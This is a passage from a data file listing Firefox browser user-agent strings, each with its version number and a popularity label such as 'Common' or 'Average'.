Firefox/44.0,44,Common\nMozilla/5.0 (Windows NT 5.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2,6,Common\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0,51,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0,49,Common\nMozilla/5.0 (Windows NT 5.1; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0,44,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0,42,Common\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0,46,Common\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0,41,Common\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0,58,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0,38,Common\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0,43,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0,51,Common\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0,39,Common\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0,59,Common\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0,55,Common\nMozilla/5.0 (Windows NT 6.1; rv:53.0) Gecko/20100101 Firefox/53.0,53,Common\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0,56,Common\nMozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0,45,Common\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0,45,Common\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/20100101 Firefox/4.0,4,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0,55,Common\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0,47,Common\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0,40,Common\nMozilla/5.0 (Windows NT 6.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0,47,Common\nMozilla/5.0 (Windows NT 5.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0,47,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0,20,Common\nMozilla/5.0 (Windows NT 6.1; rv:43.0) Gecko/20100101 Firefox/43.0,43,Common\nMozilla/5.0 (Windows NT 5.1; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0,48,Common\nMozilla/5.0 (Windows NT 6.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0,48,Common\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0,55,Common\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0,53,Common\nMozilla/5.0 (Windows NT 6.1; rv:47.0) Gecko/20100101 Firefox/47.0,47,Common\nMozilla/5.0 (Windows NT 6.0; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0,39,Common\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0,49,Common\nMozilla/5.0 (Windows NT 5.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0,39,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:30.0) Gecko/20100101 Firefox/30.0,30,Common\nMozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0,44,Common\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0,42,Common\nMozilla/5.0 (Windows NT 6.1; rv:49.0) Gecko/20100101 Firefox/49.0,49,Common\nMozilla/5.0 (Windows NT 6.1; rv:57.0) Gecko/20100101 Firefox/57.0,57,Common\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0,40,Common\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0,50,Common\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0,43,Common\nMozilla/5.0 (Windows NT 6.1; rv:41.0) Gecko/20100101 Firefox/41.0,41,Common\nMozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0,52,Common\nMozilla/5.0 (Windows NT 6.1; rv:50.0) Gecko/20100101 Firefox/50.0,50,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0,19,Common\nMozilla/5.0 (Windows NT 6.0; rv:52.0) Gecko/20100101 Firefox/52.0,52,Common\nMozilla/5.0 (Windows NT 6.1; rv:44.0) Gecko/20100101 Firefox/44.0,44,Common\nMozilla/5.0 (Windows NT 6.1; rv:42.0) Gecko/20100101 Firefox/42.0,42,Common\nMozilla/5.0 (Windows NT 6.1; rv:40.0) Gecko/20100101 Firefox/40.0,40,Common\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0,59,Common\nMozilla/5.0 (Windows NT 5.1; rv:43.0) Gecko/20100101 Firefox/43.0,43,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0,29,Common\nMozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0,34,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:45.0) Gecko/20100101 Firefox/45.0,45,Common\nMozilla/5.0 (Windows NT 6.1; rv:56.0) Gecko/20100101 Firefox/56.0,56,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:48.0) Gecko/20100101 Firefox/48.0,48,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0,47,Common\nMozilla/5.0 (Windows NT 6.1; rv:58.0) Gecko/20100101 Firefox/58.0,58,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0,18,Common\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0,54,Common\nMozilla/5.0 (X11; Linux x86_64; rv:10.0) Gecko/20150101 Firefox/44.0 (Chrome),44,Common\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0,55,Common\nMozilla/5.0 (Windows NT 6.1; rv:46.0) Gecko/20100101 Firefox/46.0,46,Common\nMozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0,36,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0,53,Common\nMozilla/5.0 (Windows NT 6.1; rv:54.0) Gecko/20100101 Firefox/54.0,54,Common\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0,53,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0,54,Common\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0,52,Common\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0,42,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0,40,Common\nMozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0,48,Common\nMozilla/5.0 (X11; Linux x86_64; rv:51.0) Gecko/20100101 Firefox/51.0,51,Common\nMozilla/5.0 (Windows NT 6.1; rv:55.0) Gecko/20100101 Firefox/55.0,55,Common\nMozilla/5.0 (Windows NT 6.3; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0,57,Common\nMozilla/5.0 (X11; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0,39,Common\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0,54,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0,33,Common\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1,3,Common\nMozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0,57,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:50.0) Gecko/20100101 Firefox/50.0,50,Common\nMozilla/5.0 (Windows NT 5.1; rv:47.0) Gecko/20100101 Firefox/47.0,47,Common\nMozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0,24,Common\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0,50,Common\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0,53,Common\nMozilla/5.0 (Windows NT 10.0; rv:49.0) Gecko/20100101 Firefox/49.0,49,Common\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0,52,Common\nMozilla/5.0 (Android; Mobile; rv:38.0) Gecko/38.0 Firefox/38.0,38,Common\nMozilla/5.0 (Windows NT 5.1; rv:50.0) Gecko/20100101 Firefox/50.0,50,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:53.0) Gecko/20100101 Firefox/53.0,53,Common\nMozilla/5.0 (X11; Linux x86_64; rv:10.0) Gecko/20100101 Firefox/10.0 (Chrome),10,Common\nMozilla/5.0 (Windows NT 5.1; rv:45.0) Gecko/20100101 Firefox/45.0,45,Common\nMozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2,15,Common\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0,45,Common\nMozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0,20,Common\nMozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0,40,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0,31,Common\nMozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1,13,Common\n\"Ruby, Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:30.0) Gecko/20100101 Firefox/30.0\",30,Common\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0,47,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0,55,Common\nMozilla/5.0 (Windows NT 6.1; rv:51.0) Gecko/20100101 Firefox/51.0,51,Common\nMozilla/5.0 (Windows NT 5.1; rv:42.0) Gecko/20100101 Firefox/42.0,42,Common\nMozilla/6.0 (Windows NT 7.2; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0,45,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0,35,Common\nMozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/20100101 Firefox/17.0,17,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0,57,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:41.0) Gecko/20100101 Firefox/41.0,41,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0,12,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:49.0) Gecko/20100101 Firefox/49.0,49,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:56.0) Gecko/20100101 Firefox/56.0,56,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:48.0) Gecko/20100101 Firefox/48.0,48,Common\nMozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0,19,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0,33,Common\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10,3,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0,17,Common\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0,55,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:29.0) Gecko/20100101 Firefox/29.0,29,Common\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0,28,Common\nMozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101 Firefox/20.0,20,Common\nMozilla/5.0 (Windows NT 5.1; rv:41.0) Gecko/20100101 Firefox/41.0,41,Common\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0,53,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0,52,Common\nMozilla/5.0 (Windows NT 5.1; rv:49.0) Gecko/20100101 Firefox/49.0,49,Common\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5,3,Common\nMozilla/5.0 (Windows NT 6.3; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0,58,Common\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0,31,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/20100101 Firefox/43.0,43,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0,5,Common\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0,51,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0,49,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:50.0) Gecko/20100101 Firefox/50.0,50,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0,16,Common\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0,57,Common\nMozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0,38,Common\nMozilla/5.0 (Windows NT 6.3; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0,56,Common\nMozilla/5.0 (Windows NT 6.0; rv:43.0) Gecko/20100101 Firefox/43.0,43,Common\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0,49,Common\nMozilla/5.0 (Windows NT 6.1; rv:35.0) Gecko/20100101 Firefox/35.0,35,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:42.0) Gecko/20100101 Firefox/42.0,42,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0,37,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:49.0) Gecko/20100101 Firefox/49.0,49,Common\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0,50,Common\nMozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1,5,Common\nMozilla/5.0 (Windows NT 6.1; rv:59.0) Gecko/20100101 Firefox/59.0,59,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:46.0) Gecko/20100101 Firefox/46.0,46,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:45.0) Gecko/20100101 Firefox/45.0,45,Common\nMozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre,4,Common\nMozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0,18,Common\nMozilla/5.0 (Windows NT 5.1; rv:44.0) Gecko/20100101 Firefox/44.0,44,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:57.0) Gecko/20100101 Firefox/57.0,57,Common\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0,48,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:43.0) Gecko/20100101 Firefox/43.0,43,Common\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0,35,Common\nMozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0,34,Common\nMozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02,5,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:44.0) Gecko/20100101 Firefox/44.0,44,Common\nMozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04,36,Common\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0,55,Common\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0,57,Common\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0,58,Common\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0,54,Common\nMozilla/5.0 (Windows NT 5.1; rv:46.0) Gecko/20100101 Firefox/46.0,46,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1,13,Common\nMozilla/5.0 (Windows NT 6.1; rv:19.0) Gecko/20100101 Firefox/19.0,19,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0,33,Common\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0,45,Common\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/56.0,56,Common\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0,47,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:58.0) Gecko/20100101 Firefox/58.0,58,Common\nMozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0,12,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0\",24,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20130401 Firefox/31.0,31,Common\nMozilla/5.0 (Windows NT 6.1; rv:18.0) Gecko/20100101 Firefox/18.0,18,Common\nMozilla/5.0 (Windows NT 5.1; rv:48.0) Gecko/20100101 Firefox/48.0,48,Common\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0,52,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0,51,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0,36,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0,57,Common\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0,44,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:58.0) Gecko/20100101 Firefox/58.0,58,Common\nMozilla/5.0 (Windows NT 6.1; rv:37.0) Gecko/20100101 Firefox/37.0,37,Common\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0,46,Common\nMozilla/5.0 (Windows NT 6.3; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0,52,Common\nMozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0,32,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1,14,Common\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:58.0) Gecko/20100101 Firefox/58.0,58,Common\nMozilla/5.0 (Windows NT 6.0; rv:47.0) Gecko/20100101 Firefox/47.0,47,Common\nMozilla/5.0 (Windows NT 5.1; rv:51.0) Gecko/20100101 Firefox/51.0,51,Common\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0,51,Common\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0,49,Common\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:48.0) Gecko/20100101 Firefox/48.0,48,Average\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:41.0) Gecko/20100101 Firefox/41.0,41,Average\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:51.0) Gecko/20100101 Firefox/51.0,51,Average\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0,48,Average\nMozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0,31,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:40.0) Gecko/20100101 Firefox/40.0,40,Average\nMozilla/5.0 (Android; Mobile; rv:40.0) Gecko/40.0 Firefox/40.0,40,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:42.0) Gecko/20100101 Firefox/42.0,42,Average\nMozilla/5.0 (X11; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0,53,Average\nMozilla/5.0 (Windows NT 10.0; rv:47.0) Gecko/20100101 Firefox/47.0,47,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0,34,Average\nMozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0,31,Average\nMozilla/5.0 (Windows NT 6.0; rv:42.0) Gecko/20100101 Firefox/42.0,42,Average\nMozilla/5.0 (Windows NT 6.0; rv:45.0) Gecko/20100101 Firefox/45.0,45,Average\nMozilla/5.0 (Windows NT 6.0; rv:48.0) Gecko/20100101 Firefox/48.0,48,Average\nMozilla/5.0 (Windows NT 10.0; rv:53.0) Gecko/20100101 Firefox/53.0,53,Average\nMozilla/5.0 (Windows NT 10.0; rv:50.0) Gecko/20100101 Firefox/50.0,50,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:16.0) Gecko/20100101 Firefox/16.0,16,Average\nMozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0,50,Average\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0,47,Average\nMozilla/5.0 (Windows NT 5.1; rv:35.0) Gecko/20100101 Firefox/35.0,35,Average\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:42.0) Gecko/20100101 Firefox/42.0,42,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:40.0) Gecko/20100101 Firefox/40.0,40,Average\nMozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0,58,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:57.0) Gecko/20100101 Firefox/57.0,57,Average\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0,40,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:47.0) Gecko/20100101 Firefox/47.0,47,Average\nMozilla/5.0 (Windows NT 6.1; rv:36.0) Gecko/20100101 Firefox/36.0,36,Average\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0,45,Average\nMozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0,22,Average\nMozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0,31,Average\nMozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0,39,Average\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0,43,Average\nMozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0,16,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko/20100101 Firefox/11.0,11,Average\nMozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0,16,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:51.0) Gecko/20100101 Firefox/51.0,51,Average\nMozilla/5.0 (X11; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0,54,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:54.0) Gecko/20100101 Firefox/54.0,54,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:52.0) Gecko/20100101 Firefox/52.0,52,Average\nMozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0,45,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:20.0) Gecko/20100101 Firefox/20.0,20,Average\nMozilla/5.0 (X11; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0,55,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:53.0) Gecko/20100101 Firefox/53.0,53,Average\nMozilla/5.0 (Windows NT 6.0; rv:50.0) Gecko/20100101 Firefox/50.0,50,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0,27,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:44.0) Gecko/20100101 Firefox/44.0,44,Average\nMozilla/5.0 (Windows NT 6.1; rv:10.0) Gecko/20100101 Firefox/10.0,10,Average\nMozilla/5.0 (Windows NT 10.0; rv:45.0) Gecko/20100101 Firefox/45.0,45,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0,30,Average\nMozilla/5.0 (Windows NT 5.1; rv:38.0) Gecko/20100101 Firefox/38.0,38,Average\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:46.0) Gecko/20100101 Firefox/46.0,46,Average\nMozilla/5.0 (Windows NT 6.0; rv:40.0) Gecko/20100101 Firefox/40.0,40,Average\nMozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0,12,Average\nMozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20100101 Firefox/17.0,17,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0,36,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:40.0) Gecko/20100101 Firefox/40.0,40,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:48.0) Gecko/20100101 Firefox/48.0,48,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0,38,Average\nMozilla/5.0 (Android 5.0.2; Tablet; rv:45.0) Gecko/45.0 Firefox/45.0,45,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0,34,Average\nMozilla/5.0 (Windows NT 6.0; rv:49.0) Gecko/20100101 Firefox/49.0,49,Average\nMozilla/5.0 (Windows NT 5.1; rv:34.0) Gecko/20100101 Firefox/34.0,34,Average\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0,19,Average\nMozilla/5.0 (Windows NT 6.0; rv:20.0) Gecko/20100101 Firefox/20.0,20,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:50.0) Gecko/20100101 Firefox/50.0,50,Average\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0,49,Average\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0,21,Average\nMozilla/5.0 (Windows NT 6.3; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0,59,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:48.0) Gecko/20100101 Firefox/48.0,48,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120427 Firefox/15.0a1,15,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0,29,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0,19,Average\nMozilla/5.0 (Windows NT 6.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0,43,Average\nMozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 